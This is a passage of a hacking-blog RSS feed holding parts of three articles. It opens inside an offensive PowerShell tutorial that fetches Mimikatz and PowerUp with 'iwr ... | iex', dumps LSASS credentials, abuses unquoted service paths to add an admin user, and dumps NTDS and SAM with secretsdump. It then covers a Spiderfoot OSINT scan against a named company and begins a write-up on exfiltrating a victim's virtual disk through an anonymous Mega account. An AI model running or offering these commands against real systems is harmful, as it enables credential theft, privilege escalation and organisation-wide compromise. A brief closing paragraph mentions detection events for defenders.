  907. <figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="370" src="https://hackers-arise.com/wp-content/uploads/2025/10/2-patching-amsi-1024x370.webp" alt="patching amsi with a powershell script" class="wp-image-18580" srcset="https://hackers-arise.com/wp-content/uploads/2025/10/2-patching-amsi-1024x370.webp 1024w, https://hackers-arise.com/wp-content/uploads/2025/10/2-patching-amsi-300x108.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/10/2-patching-amsi-768x277.webp 768w, https://hackers-arise.com/wp-content/uploads/2025/10/2-patching-amsi.webp 1127w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>
  908.  
  909.  
  910.  
  911. <p>If your output matches ours, then AMSI has been successfully patched. From now on, the Defender does not have access to your PowerShell sessions and any kind of scripts can be executed in it without restriction. It’s important to mention that some articles on AMSI bypass will tell you that downgrading to PowerShell Version 2 helps to evade detection, but that is not true. At least not anymore. Defender actively monitors all of your sessions and these simple tricks will not work.</p>
  912.  
  913.  
  914.  
  915. <h2 class="wp-block-heading"><strong>Dumping Credentials with Mimikatz</strong></h2>
  916.  
  917.  
  918.  
  919. <h3 class="wp-block-heading"><strong>Repo:</strong></h3>
  920.  
  921.  
  922.  
  923. <p><a href="http://raw.githubusercontent.com/g4uss47/Invoke-Mimikatz/refs/heads/master/Invoke-Mimikatz.ps1">http://raw.githubusercontent.com/g4uss47/Invoke-Mimikatz/refs/heads/master/Invoke-Mimikatz.ps1</a></p>
  924.  
  925.  
  926.  
  927. <p>Since you are free to run anything you want, we can execute Mimikatz right in our session. Note that we are using Invoke-Mimikatz.ps1 by g4uss47, and it is the updated PowerShell version of Mimikatz that actually works. For OPSEC reasons we do not recommend running Mimikatz commands that touch other hosts because network security products might pick this up. Instead, let’s dump LSASS locally and inspect the results:</p>
  928.  
  929.  
  930.  
  931. <p><code>PS &gt; iwr http://raw.githubusercontent.com/g4uss47/Invoke-Mimikatz/refs/heads/master/Invoke-Mimikatz.ps1 | iex&nbsp;&nbsp;</code></p>
  932.  
  933.  
  934.  
  935. <p><code>PS &gt; Invoke-Mimikatz -DumpCreds</code></p>
  936.  
  937.  
  938.  
  939. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="915" height="438" src="https://hackers-arise.com/wp-content/uploads/2025/10/3-dumping-hashes-with-mimikatz.webp" alt="dumping lsass with mimikatz powershell script Invoke-Mimikatz.ps1" class="wp-image-18581" srcset="https://hackers-arise.com/wp-content/uploads/2025/10/3-dumping-hashes-with-mimikatz.webp 915w, https://hackers-arise.com/wp-content/uploads/2025/10/3-dumping-hashes-with-mimikatz-300x144.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/10/3-dumping-hashes-with-mimikatz-768x368.webp 768w" sizes="(max-width: 915px) 100vw, 915px" /></figure>
  940.  
  941.  
  942.  
  943. <p>Now we have the credentials of brandmanager. If we compromised a more valuable target in the domain, like a server or a database, we could expect domain admin credentials. You will see this quite often.</p>
  944.  
  945.  
  946.  
  947. <h2 class="wp-block-heading"><strong>Privilege Escalation with PowerUp</strong></h2>
  948.  
  949.  
  950.  
  951. <p>Privilege escalation is a complex topic. Frequently systems will be misconfigured and people will feel comfortable without realizing that security risks exist. This may allow you to skip privilege escalation altogether and jump straight to lateral movement, since the compromised user already has high privileges. There are multiple vectors of privilege escalation, but among the most common ones are unquoted service paths and insecure file permissions. While insecure file permissions can be easily abused by replacing the legitimate file with a malicious one of the same name, unquoted service paths may require more work for a beginner. That’s why we will cover this attack today with the help of PowerUp. Before we proceed, it’s important to mention that this script has been known to security products for a long time, so be careful.</p>
  952.  
  953.  
  954.  
  955. <h3 class="wp-block-heading"><strong>Finding Vulnerable Services</strong></h3>
  956.  
  957.  
  958.  
  959. <p>Unquoted Service Path is a configuration mistake in Windows services where the full path to the service executable contains spaces but is not wrapped in quotation marks. Because Windows treats spaces as separators when resolving file paths, an unquoted path like <code>C:\Program Files\My Service\service.exe</code> can be interpreted ambiguously. The system may search for an executable at earlier, shorter segments of that path (for example <code>C:\Program.exe</code> or <code>C:\Program Files\My.exe</code>) before reaching the intended <code>service.exe</code>. A hacker can place their own executable at one of those earlier locations, and the system will run that program instead of the real service binary. This works as a privilege escalation method because services typically run with higher privileges.</p>
  960.  
  961.  
  962.  
  963. <p>Let’s run PowerUp and find vulnerable services:</p>
  964.  
  965.  
  966.  
  967. <p><code>PS &gt; iwr https://raw.githubcontent.com/PowerShellMafia/PowerSploit/refs/heads/master/Privesc/PowerUp.ps1 | iex</code><strong>&nbsp;&nbsp;</strong></p>
  968.  
  969.  
  970.  
  971. <p><code>PS &gt; Get-UnquotedService</code></p>
  972.  
  973.  
  974.  
  975. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="950" height="422" src="https://hackers-arise.com/wp-content/uploads/2025/10/4-found-vulnerable-services-for-privilege-escalation.webp" alt="listing vulnerable unquoted services to privilege escalation" class="wp-image-18582" srcset="https://hackers-arise.com/wp-content/uploads/2025/10/4-found-vulnerable-services-for-privilege-escalation.webp 950w, https://hackers-arise.com/wp-content/uploads/2025/10/4-found-vulnerable-services-for-privilege-escalation-300x133.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/10/4-found-vulnerable-services-for-privilege-escalation-768x341.webp 768w" sizes="(max-width: 950px) 100vw, 950px" /></figure>
  976.  
  977.  
  978.  
  979. <p>Now let’s test the service names and see which one will get us local admin privileges:</p>
  980.  
  981.  
  982.  
  983. <p><code>PS &gt; Invoke-ServiceAbuse -Name 'Service Name'</code></p>
  984.  
  985.  
  986.  
  987. <p>If successful, you should see the name of the service abused and the command it executed. By default, the script will create and add user john to the local admin group. You can edit it to fit your needs.</p>
  988.  
  989.  
  990.  
  991. <p>The results can be tested:</p>
  992.  
  993.  
  994.  
  995. <p><code>PS &gt; net user john</code></p>
  996.  
  997.  
  998.  
  999. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="814" height="354" src="https://hackers-arise.com/wp-content/uploads/2025/10/5-escalated-privileges-on-windows-with-powerup.webp" alt="abusing an unqouted service with the help of PowerUp.ps1" class="wp-image-18583" srcset="https://hackers-arise.com/wp-content/uploads/2025/10/5-escalated-privileges-on-windows-with-powerup.webp 814w, https://hackers-arise.com/wp-content/uploads/2025/10/5-escalated-privileges-on-windows-with-powerup-300x130.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/10/5-escalated-privileges-on-windows-with-powerup-768x334.webp 768w" sizes="(max-width: 814px) 100vw, 814px" /></figure>
  1000.  
  1001.  
  1002.  
  1003. <p>Now we have an admin user on this machine, which can be used for various purposes.</p>
  1004.  
  1005.  
  1006.  
  1007. <h2 class="wp-block-heading"><strong>Attacking NTDS and SAM</strong></h2>
  1008.  
  1009.  
  1010.  
  1011. <h3 class="wp-block-heading"><strong>Repo:</strong></h3>
  1012.  
  1013.  
  1014.  
  1015. <p><a href="https://github.com/soupbone89/Scripts/tree/main/NTDS-SAM%20Dumper">https://github.com/soupbone89/Scripts/tree/main/NTDS-SAM%20Dumper</a></p>
  1016.  
  1017.  
  1018.  
  1019. <p>With enough privileges we can dump NTDS and SAM without having to deal with security products at all, just with the help of native Windows functions. Usually these attacks require multiple commands, as dumping only NTDS or only a SAM hive does not help. For this reason, we have added a new script to our repository. It will automatically identify the type of host you are running it on and dump the needed files. NTDS only exists on Domain Controllers and contains the credentials of all Active Directory users. This file cannot be found on regular machines. Regular machines will instead be exploited by dumping their SAM and SYSTEM hives. The script is not flagged by any AV product. Below you can see how it works.</p>
  1020.  
  1021.  
  1022.  
  1023. <h3 class="wp-block-heading"><strong>Attacking SAM on Domain Machines</strong></h3>
  1024.  
  1025.  
  1026.  
  1027. <p>To avoid issues, bypass the execution policy:</p>
  1028.  
  1029.  
  1030.  
  1031. <p><code>PS &gt; powershell -ep bypass</code></p>
  1032.  
  1033.  
  1034.  
  1035. <p>Then dump SAM and SYSTEM hives:</p>
  1036.  
  1037.  
  1038.  
  1039. <p><code>PS &gt; .\ntds.ps1</code></p>
  1040.  
  1041.  
  1042.  
  1043. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1003" height="446" src="https://hackers-arise.com/wp-content/uploads/2025/10/6-dumping-sam.webp" alt="dumping sam and system hives with ntds.ps1" class="wp-image-18584" srcset="https://hackers-arise.com/wp-content/uploads/2025/10/6-dumping-sam.webp 1003w, https://hackers-arise.com/wp-content/uploads/2025/10/6-dumping-sam-300x133.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/10/6-dumping-sam-768x342.webp 768w" sizes="(max-width: 1003px) 100vw, 1003px" /></figure>
  1044.  
  1045.  
  1046.  
  1047. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="874" height="327" src="https://hackers-arise.com/wp-content/uploads/2025/10/7-listing-sam-and-system-hive-dumps.webp" alt="listing sam and system hive dumps" class="wp-image-18585" srcset="https://hackers-arise.com/wp-content/uploads/2025/10/7-listing-sam-and-system-hive-dumps.webp 874w, https://hackers-arise.com/wp-content/uploads/2025/10/7-listing-sam-and-system-hive-dumps-300x112.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/10/7-listing-sam-and-system-hive-dumps-768x287.webp 768w" sizes="(max-width: 874px) 100vw, 874px" /></figure>
  1048.  
  1049.  
  1050.  
  1051. <p>Wait a few seconds and find your files in C:\Temp. If the directory does not exist, it will be created by the script.</p>
  1052.  
  1053.  
  1054.  
  1055. <p>Next we need to exfiltrate these files and extract the credentials:</p>
  1056.  
  1057.  
  1058.  
  1059. <p><code>bash$ &gt; secretsdump.py -sam SAM -system SYSTEM LOCAL</code></p>
  1060.  
  1061.  
  1062.  
  1063. <figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="350" src="https://hackers-arise.com/wp-content/uploads/2025/10/8-extracting-the-credentials-from-the-sam-dump-1024x350.webp" alt="extracting creds from sam hive" class="wp-image-18586" srcset="https://hackers-arise.com/wp-content/uploads/2025/10/8-extracting-the-credentials-from-the-sam-dump-1024x350.webp 1024w, https://hackers-arise.com/wp-content/uploads/2025/10/8-extracting-the-credentials-from-the-sam-dump-300x103.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/10/8-extracting-the-credentials-from-the-sam-dump-768x263.webp 768w, https://hackers-arise.com/wp-content/uploads/2025/10/8-extracting-the-credentials-from-the-sam-dump.webp 1471w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>
  1064.  
  1065.  
  1066.  
  1067. <h3 class="wp-block-heading"><strong>Attacking NTDS on Domain Controllers</strong></h3>
  1068.  
  1069.  
  1070.  
  1071. <p>If you have already compromised a domain admin, or managed to escalate your privileges on the Domain Controller, you might want to get the credentials of all users in the company.</p>
  1072.  
  1073.  
  1074.  
  1075. <p>We often use Evil-WinRM to avoid unnecessary GUI interactions that are easy to spot. Evil-WinRM allows you to load all your scripts from the machine so they will be executed without touching the disk. It can also patch AMSI, but be really careful.</p>
  1076.  
  1077.  
  1078.  
  1079. <p>Connect to the DC:</p>
  1080.  
  1081.  
  1082.  
  1083. <p><code>c2 &gt; evil-winrm -i DC -u admin -p password -s ‘/home/user/scripts/’</code></p>
  1084.  
  1085.  
  1086.  
  1087. <p>Now you can execute your scripts:</p>
  1088.  
  1089.  
  1090.  
  1091. <p><code>PS &gt; ntds.ps1</code></p>
  1092.  
  1093.  
  1094.  
  1095. <figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="461" src="https://hackers-arise.com/wp-content/uploads/2025/10/9-dumping-ntds-on-a-dc-1024x461.webp" alt="dumping NTDS with ntds.ps1 script" class="wp-image-18587" srcset="https://hackers-arise.com/wp-content/uploads/2025/10/9-dumping-ntds-on-a-dc-1024x461.webp 1024w, https://hackers-arise.com/wp-content/uploads/2025/10/9-dumping-ntds-on-a-dc-300x135.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/10/9-dumping-ntds-on-a-dc-768x346.webp 768w, https://hackers-arise.com/wp-content/uploads/2025/10/9-dumping-ntds-on-a-dc.webp 1171w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>
  1096.  
  1097.  
  1098.  
  1099. <p>Evil-WinRM has a download command that can help you extract the files. After that, run this command:</p>
  1100.  
  1101.  
  1102.  
  1103. <p><code>bash$ &gt; secretsdump.py -ntds ntds.dit -sam SAM -system SYSTEM LOCAL</code></p>
  1104.  
  1105.  
  1106.  
  1107. <figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="513" src="https://hackers-arise.com/wp-content/uploads/2025/10/10-extracting-ntds-hashes-1024x513.webp" alt="extracting creds from the ntds dump" class="wp-image-18588" srcset="https://hackers-arise.com/wp-content/uploads/2025/10/10-extracting-ntds-hashes-1024x513.webp 1024w, https://hackers-arise.com/wp-content/uploads/2025/10/10-extracting-ntds-hashes-300x150.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/10/10-extracting-ntds-hashes-768x385.webp 768w, https://hackers-arise.com/wp-content/uploads/2025/10/10-extracting-ntds-hashes.webp 1476w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>
  1108.  
  1109.  
  1110.  
  1111. <h2 class="wp-block-heading"><strong>Summary</strong></h2>
  1112.  
  1113.  
  1114.  
  1115. <p>In this chapter, we explored how PowerShell can be used for privilege escalation and complete domain compromise. We began with bypassing AMSI to clear the way for running offensive scripts without interference, then moved on to credential dumping with Mimikatz. From there, we looked at privilege escalation techniques such as unquoted service paths with PowerUp, followed by dumping NTDS and SAM databases once higher privileges were achieved. Each step builds on the previous one, showing how hackers chain small misconfigurations into full organizational takeover. Defenders should also be familiar with these attacks as it will help them tune the security products. For instance, harmless actions such as creating a shadow copy to dump NTDS and SAM can be spotted if you monitor Event ID 8193 and Event ID 12298. Many activities can be monitored, even benign ones. It depends on where defenders are looking at.</p><p>The post <a href="https://hackers-arise.com/powershell-for-hackers-privilege-escalation-and-organization-takeover/">PowerShell for Hackers, Part 8: Privilege Escalation and Organization Takeover</a> first appeared on <a href="https://hackers-arise.com">Hackers Arise</a>.</p>]]></content:encoded>
  1116. </item>
  1117. <item>
  1118. <title>Getting Started with the Raspberry Pi for Hacking: Using Spiderfoot for OSINT Data Gathering</title>
  1119. <link>https://hackers-arise.com/getting-started-with-the-raspberry-pi-for-hacking-using-spiderfoot-for-osint-data-gathering/</link>
  1120. <dc:creator><![CDATA[aircorridor]]></dc:creator>
  1121. <pubDate>Tue, 07 Oct 2025 14:48:38 +0000</pubDate>
  1122. <category><![CDATA[OSINT & Reconnaissance]]></category>
  1123. <category><![CDATA[Raspberry Pi]]></category>
  1124. <guid isPermaLink="false">https://hackers-arise.com/?p=18442</guid>
  1125.  
  1126. <description><![CDATA[<p>Welcome back, aspiring hackers! Raspberry Pi is a great starting point for exploring cybersecurity and hacking in particular. You can grab a $50 board, connect it to the TV, and start learning. Otherwise, you can install the OS&#160;on the Pi and control it from your phone. There are a lot of opportunities. In this article, [&#8230;]</p>
  1127. <p>The post <a href="https://hackers-arise.com/getting-started-with-the-raspberry-pi-for-hacking-using-spiderfoot-for-osint-data-gathering/">Getting Started with the Raspberry Pi for Hacking: Using Spiderfoot for OSINT Data Gathering</a> first appeared on <a href="https://hackers-arise.com">Hackers Arise</a>.</p>]]></description>
  1128. <content:encoded><![CDATA[<p>Welcome back, aspiring hackers!</p>
  1129.  
  1130.  
  1131.  
  1132. <p>Raspberry Pi is a great starting point for exploring cybersecurity and hacking in particular. You can grab a $50 board, connect it to the TV, and start learning. Otherwise, you can install the OS&nbsp;on the Pi and control it from your phone. There are a lot of opportunities.</p>
  1133.  
  1134.  
  1135.  
  1136. <p>In this article, I&#8217;d like to demonstrate how to use a Raspberry Pi for Open Source Intelligence (OSINT) gathering. This a key reconnaissance step before the attack.</p>
  1137.  
  1138.  
  1139.  
  1140. <h2 class="wp-block-heading">Step #1: Understand Where to Start?</h2>
  1141.  
  1142.  
  1143.  
  1144. <p>There is a wealth of OSINT tools—some have faded away, while new ones constantly emerge. Spiderfoot, for example, has been quietly serving OSINT investigators since 2012.</p>
  1145.  
  1146.  
  1147.  
  1148. <p>This tool serves as a starting point in the investigation. It is capable of gathering information from multiple resources automatically with little or no manual interaction. Once this data has been gathered, you can export the results in CSV/JSON or feed scan data to Splunk/ElasticSearch.</p>
  1149.  
  1150.  
  1151.  
  1152. <h2 class="wp-block-heading">Step #2: Getting Started with Spiderfoot</h2>
  1153.  
  1154.  
  1155.  
  1156. <p>In the previous article we installed Kali Linux on a Raspberry Pi, which comes with Spiderfoot pre‑installed. Let’s take a look at its help page:</p>
  1157.  
  1158.  
  1159.  
  1160. <p><strong><code>kali&gt; spiderfoot -h</code></strong></p>
  1161.  
  1162.  
  1163.  
  1164. <figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="882" height="416" src="https://hackers-arise.com/wp-content/uploads/2025/09/spiderfoot_help.webp" alt="" class="wp-image-18446" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/spiderfoot_help.webp 882w, https://hackers-arise.com/wp-content/uploads/2025/09/spiderfoot_help-300x141.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/09/spiderfoot_help-768x362.webp 768w" sizes="(max-width: 882px) 100vw, 882px" /></figure>
  1165.  
  1166.  
  1167.  
  1168. <p>To get started, it is enough to run the following command:<br><strong><code>kali&gt; spiderfoot -l 0.0.0.0:port</code></strong></p>
  1169.  
  1170.  
  1171.  
  1172. <figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="892" height="356" src="https://hackers-arise.com/wp-content/uploads/2025/09/spyderfoot_start_the_server.webp" alt="" class="wp-image-18447" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/spyderfoot_start_the_server.webp 892w, https://hackers-arise.com/wp-content/uploads/2025/09/spyderfoot_start_the_server-300x120.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/09/spyderfoot_start_the_server-768x307.webp 768w" sizes="(max-width: 892px) 100vw, 892px" /></figure>
  1173.  
  1174.  
  1175.  
  1176. <p>Where</p>
  1177.  
  1178.  
  1179.  
  1180. <p><strong>-l</strong> &#8211; tells it to listen for incoming HTTP connections;<br><strong>0.0.0.0:4444</strong> – the address + port where the web UI will be bound. 0.0.0.0 means &#8220;any reachable IP on this machine,&#8221; so you can reach the UI from another host on the same network.</p>
  1181.  
  1182.  
  1183.  
  1184. <p>By typing http://:&lt;IP&gt;:4444/ on the web browser of any computer/phone on this Local Area Network (LAN), anyone can get access to the spiderfoot user interface.</p>
  1185.  
  1186.  
  1187.  
  1188. <figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="961" height="383" src="https://hackers-arise.com/wp-content/uploads/2025/09/spyderfoot_ui.webp" alt="" class="wp-image-18449" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/spyderfoot_ui.webp 961w, https://hackers-arise.com/wp-content/uploads/2025/09/spyderfoot_ui-300x120.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/09/spyderfoot_ui-768x306.webp 768w" sizes="(max-width: 961px) 100vw, 961px" /></figure>
  1189.  
  1190.  
  1191.  
  1192. <h2 class="wp-block-heading">Step #3: Spiderfoot Modules</h2>
  1193.  
  1194.  
  1195.  
  1196. <p>By default, Spiderfoot includes more than 200 modules, most of which operate without any API keys. However, adding the appropriate API keys in the settings can significantly boost the effectiveness of your scans.</p>
  1197.  
  1198.  
  1199.  
  1200. <figure class="wp-block-image aligncenter size-large"><img loading="lazy" decoding="async" width="1024" height="598" src="https://hackers-arise.com/wp-content/uploads/2025/09/spiderfoot_intelx_api-1024x598.webp" alt="" class="wp-image-18450" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/spiderfoot_intelx_api-1024x598.webp 1024w, https://hackers-arise.com/wp-content/uploads/2025/09/spiderfoot_intelx_api-300x175.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/09/spiderfoot_intelx_api-768x449.webp 768w, https://hackers-arise.com/wp-content/uploads/2025/09/spiderfoot_intelx_api.webp 1167w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>
  1201.  
  1202.  
  1203.  
  1204. <h2 class="wp-block-heading">Step #4: Start Scanning</h2>
  1205.  
  1206.  
  1207.  
  1208. <p>SpiderFoot offers four primary scan types:</p>
  1209.  
  1210.  
  1211.  
  1212. <p><strong>All:</strong> Runs every available module. Comprehensive but time-consuming, and may generate excessive queries.</p>
  1213.  
  1214.  
  1215.  
  1216. <p><strong>Footprint:</strong> Lighter scan focusing on infrastructure and digital footprint.</p>
  1217.  
  1218.  
  1219.  
  1220. <p><strong>Investigate:</strong> Some basic footprinting will be performed in addition to querying of blacklists and other sources that may have information about your target&#8217;s maliciousness.</p>
  1221.  
  1222.  
  1223.  
  1224. <p><strong>Passive:</strong> Gathering information without touching the target or their affiliates.</p>
  1225.  
  1226.  
  1227.  
  1228. <p>Let&#8217;s run a “stealth” scan against the Russian oil company&nbsp;<strong>Lukoil</strong>. Once the scan completes, the&nbsp;<strong>Summary</strong>&nbsp;tab on the main screen will display an overview of the information that was uncovered.</p>
  1229.  
  1230.  
  1231.  
  1232. <figure class="wp-block-image aligncenter size-large"><img loading="lazy" decoding="async" width="1024" height="648" src="https://hackers-arise.com/wp-content/uploads/2025/09/spiderfoot_scan_results-1024x648.webp" alt="" class="wp-image-18451" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/spiderfoot_scan_results-1024x648.webp 1024w, https://hackers-arise.com/wp-content/uploads/2025/09/spiderfoot_scan_results-300x190.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/09/spiderfoot_scan_results-768x486.webp 768w, https://hackers-arise.com/wp-content/uploads/2025/09/spiderfoot_scan_results.webp 1180w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>
  1233.  
  1234.  
  1235.  
  1236. <p>By clicking the Browse tab, we can review the results.</p>
  1237.  
  1238.  
  1239.  
  1240. <figure class="wp-block-image aligncenter size-large"><img loading="lazy" decoding="async" width="1024" height="481" src="https://hackers-arise.com/wp-content/uploads/2025/09/spiderfoot_browse_data-1024x481.webp" alt="" class="wp-image-18452" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/spiderfoot_browse_data-1024x481.webp 1024w, https://hackers-arise.com/wp-content/uploads/2025/09/spiderfoot_browse_data-300x141.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/09/spiderfoot_browse_data-768x361.webp 768w, https://hackers-arise.com/wp-content/uploads/2025/09/spiderfoot_browse_data.webp 1172w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>
  1241.  
  1242.  
  1243.  
  1244. <p>One of spiderfoot’s standout features is its ability to visualize data graphically.</p>
  1245.  
  1246.  
  1247.  
  1248. <figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="654" src="https://hackers-arise.com/wp-content/uploads/2025/09/spiderfoot_graph-1024x654.webp" alt="" class="wp-image-18453" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/spiderfoot_graph-1024x654.webp 1024w, https://hackers-arise.com/wp-content/uploads/2025/09/spiderfoot_graph-300x192.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/09/spiderfoot_graph-768x491.webp 768w, https://hackers-arise.com/wp-content/uploads/2025/09/spiderfoot_graph.webp 1202w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>
  1249.  
  1250.  
  1251.  
  1252. <p>In the graph, each node represents a distinct piece of information about the target.</p>
  1253.  
  1254.  
  1255.  
  1256. <figure class="wp-block-image aligncenter size-large"><img loading="lazy" decoding="async" width="1024" height="407" src="https://hackers-arise.com/wp-content/uploads/2025/09/spiderfoot_graph_nodes-1024x407.webp" alt="" class="wp-image-18454" srcset="https://hackers-arise.com/wp-content/uploads/2025/09/spiderfoot_graph_nodes-1024x407.webp 1024w, https://hackers-arise.com/wp-content/uploads/2025/09/spiderfoot_graph_nodes-300x119.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/09/spiderfoot_graph_nodes-768x305.webp 768w, https://hackers-arise.com/wp-content/uploads/2025/09/spiderfoot_graph_nodes.webp 1268w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>
  1257.  
  1258.  
  1259.  
  1260. <h2 class="wp-block-heading">Summary</h2>
  1261.  
  1262.  
  1263.  
  1264. <p>In this simple approach, you can use a Raspberry Pi to conduct OSINT investigations without installing anything on your primary system. Moreover, you can access the Pi&#8217;s IP address from your phone and review the results during a coffee break—or whenever you have a spare moment.</p>
  1265.  
  1266.  
  1267.  
  1268. <p>As mentioned in the introduction, the Raspberry Pi is a powerful platform for learning cybersecurity.</p>
  1269.  
  1270.  
  1271.  
  1272. <p>If you&#8217;d like to advance in this field, consider checking out our OSINT training class.</p><p>The post <a href="https://hackers-arise.com/getting-started-with-the-raspberry-pi-for-hacking-using-spiderfoot-for-osint-data-gathering/">Getting Started with the Raspberry Pi for Hacking: Using Spiderfoot for OSINT Data Gathering</a> first appeared on <a href="https://hackers-arise.com">Hackers Arise</a>.</p>]]></content:encoded>
  1273. </item>
  1274. <item>
  1275. <title>Using Digital Forensic Techniques to Compromise Russian Linux Systems</title>
  1276. <link>https://hackers-arise.com/using-digital-forensic-techniques-to-compromise-russian-linux-systems/</link>
  1277. <comments>https://hackers-arise.com/using-digital-forensic-techniques-to-compromise-russian-linux-systems/#respond</comments>
  1278. <dc:creator><![CDATA[Co11ateral]]></dc:creator>
  1279. <pubDate>Mon, 06 Oct 2025 17:54:47 +0000</pubDate>
  1280. <category><![CDATA[Cyberwar]]></category>
  1281. <category><![CDATA[Cyberwarrior]]></category>
  1282. <category><![CDATA[Digital Forensics]]></category>
  1283. <category><![CDATA[Linux]]></category>
  1284. <category><![CDATA[Offensive Security]]></category>
  1285. <category><![CDATA[Password Cracking]]></category>
  1286. <guid isPermaLink="false">https://hackers-arise.com/?p=17056</guid>
  1287.  
  1288. <description><![CDATA[<p>Welcome back, cyberwarriors. In today’s article, we will walk through a real-world compromise that was made possible through digital forensics. During one of our recent engagements, we landed on a machine located outside the primary domain. Unfortunately, this system held no immediately useful credentials or access paths for lateral movement. Our team attempted a variety [&#8230;]</p>
  1289. <p>The post <a href="https://hackers-arise.com/using-digital-forensic-techniques-to-compromise-russian-linux-systems/">Using Digital Forensic Techniques to Compromise Russian Linux Systems</a> first appeared on <a href="https://hackers-arise.com">Hackers Arise</a>.</p>]]></description>
  1290. <content:encoded><![CDATA[<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="683" src="https://hackers-arise.com/wp-content/uploads/2025/08/banner-1024x683.webp" alt="" class="wp-image-17057" srcset="https://hackers-arise.com/wp-content/uploads/2025/08/banner-1024x683.webp 1024w, https://hackers-arise.com/wp-content/uploads/2025/08/banner-300x200.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/08/banner-768x512.webp 768w, https://hackers-arise.com/wp-content/uploads/2025/08/banner.webp 1536w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>
  1291.  
  1292.  
  1293.  
  1294. <p>Welcome back, cyberwarriors. In today’s article, we will walk through a real-world compromise that was made possible through digital forensics. During one of our recent engagements, we landed on a machine located outside the primary domain. Unfortunately, this system held no immediately useful credentials or access paths for lateral movement. Our team attempted a variety of techniques to extract credentials, ranging from standard SAM parsing to log file analysis and general file inspection. Eventually, we uncovered a valuable asset buried within one of the attached drives, which was a virtual disk.</p>
  1295.  
  1296.  
  1297.  
  1298. <p>For those who read our earlier write-up on compromising a domain through forensic analysis of an old Windows image, you’ll recall how helpful such approaches can be. The same logic applies to Linux systems. Even if the machine in question is inactive, cracking old credentials can still enable lateral movement if password reuse is in play.</p>
  1299.  
  1300.  
  1301.  
  1302. <p>Let’s examine how we extracted, analyzed, and ultimately compromised this Linux virtual machine.</p>
  1303.  
  1304.  
  1305.  
  1306. <h2 class="wp-block-heading"><a></a><strong>Virtual Disk Discovery and Exfiltration</strong></h2>
  1307.  
  1308.  
  1309.  
  1310. <p>The virtual disk was located on a secondary drive of a Windows host. Due to limited space on the drive and to avoid disrupting the system, we chose to exfiltrate the disk to our lab for analysis.</p>
  1311.  
  1312.  
  1313.  
  1314. <p></p>
  1315.  
  1316.  
  1317.  
  1318. <figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="793" height="317" src="https://hackers-arise.com/wp-content/uploads/2025/08/1-vm-snapshot-found.webp" alt="" class="wp-image-17058" srcset="https://hackers-arise.com/wp-content/uploads/2025/08/1-vm-snapshot-found.webp 793w, https://hackers-arise.com/wp-content/uploads/2025/08/1-vm-snapshot-found-300x120.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/08/1-vm-snapshot-found-768x307.webp 768w" sizes="(max-width: 793px) 100vw, 793px" /></figure>
  1319.  
  1320.  
  1321.  
  1322. <p></p>
  1323.  
  1324.  
  1325.  
  1326. <p>One reliable method of transferring files from an RDP session is via the Mega cloud service. Using a temporary email address, you can create a Mega account anonymously.</p>
  1327.  
  1328.  
  1329.  
  1330. <p></p>
  1331.  
  1332.  
  1333.  
  1334. <figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="504" src="https://hackers-arise.com/wp-content/uploads/2025/08/2-snapshot-exfiltration-to-mega-1024x504.webp" alt="" class="wp-image-17059" srcset="https://hackers-arise.com/wp-content/uploads/2025/08/2-snapshot-exfiltration-to-mega-1024x504.webp 1024w, https://hackers-arise.com/wp-content/uploads/2025/08/2-snapshot-exfiltration-to-mega-300x148.webp 300w, https://hackers-arise.com/wp-content/uploads/2025/08/2-snapshot-exfiltration-to-mega-768x378.webp 768w, https://hackers-arise.com/wp-content/uploads/2025/08/2-snapshot-exfiltration-to-mega.webp 1125w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>
  1335.  
  1336.  
  1337.  
  1338. <p></p>
  1339.  
  1340.  
  1341.  
